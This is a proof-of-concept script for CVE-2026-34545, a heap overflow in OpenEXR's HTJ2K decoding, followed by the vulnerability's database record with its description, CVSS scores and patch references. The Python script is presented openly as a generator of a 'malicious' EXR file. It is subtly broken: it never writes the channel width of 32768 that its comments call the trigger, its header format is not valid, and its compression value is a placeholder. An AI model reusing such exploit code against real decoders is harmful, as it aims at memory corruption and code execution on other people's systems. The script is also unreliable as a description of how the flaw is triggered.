CVE-2026-34545

import struct # PoC for CVE-2026-34545 # Generates a crafted OpenEXR file with HTJ2K compression and channel width 32768 # to trigger the heap buffer overflow vulnerability. def create_poc(filename): with open(filename, 'wb') as f: # OpenEXR Magic Number f.write(b'\x76\x2f\x31\x01') # Minimal Header construction # Setting attributes to trigger the specific code path f.write(b'channels\x00chlist\x00') # Channel definition with width 32768 (The trigger) # This specific width bypasses checks and leads to overflow f.write(b'R\x00half\x00') # Write xSampling/ySampling (default 1) f.write(struct.pack('>I', 1)) f.write(struct.pack('>I', 1)) # Compression attribute set to HTJ2K # Note: Actual enum value depends on library version, using placeholder f.write(b'compression\x00compression\x00') f.write(b'HTJ2K\x00') # End of header marker f.write(b'\x00\x00') # Payload data # The decoder will write beyond the heap buffer when processing this payload = b'A' * 1024 f.write(payload) if __name__ == "__main__": print("[*] Creating malicious OpenEXR file for CVE-2026-34545...") create_poc("cve_2026_34545_poc.exr") print("[+] PoC file generated successfully.")

{"cve": {"id": "CVE-2026-34545", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:17:01.640", "lastModified": "2026-04-07T20:04:43.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.7, an attacker providing a crafted .exr file with HTJ2K compression and a channel width of 32768 can write controlled data beyond the output heap buffer in any application that decodes EXR images. The write primitive is 2 bytes per overflow iteration or 4 bytes (by another path), repeating for each additional pixel past the overflow point. In this context, a heap write overflow can lead to remote code execution on systems. This issue has been patched in version 3.4.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.7", "matchCriteriaId": "97749F4C-758F-4DF6-B1B5-923A64740B07"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/3827998f5c041d6a94c6af24bbb363daa669e4b3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-ghfj-fx47-wg97", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}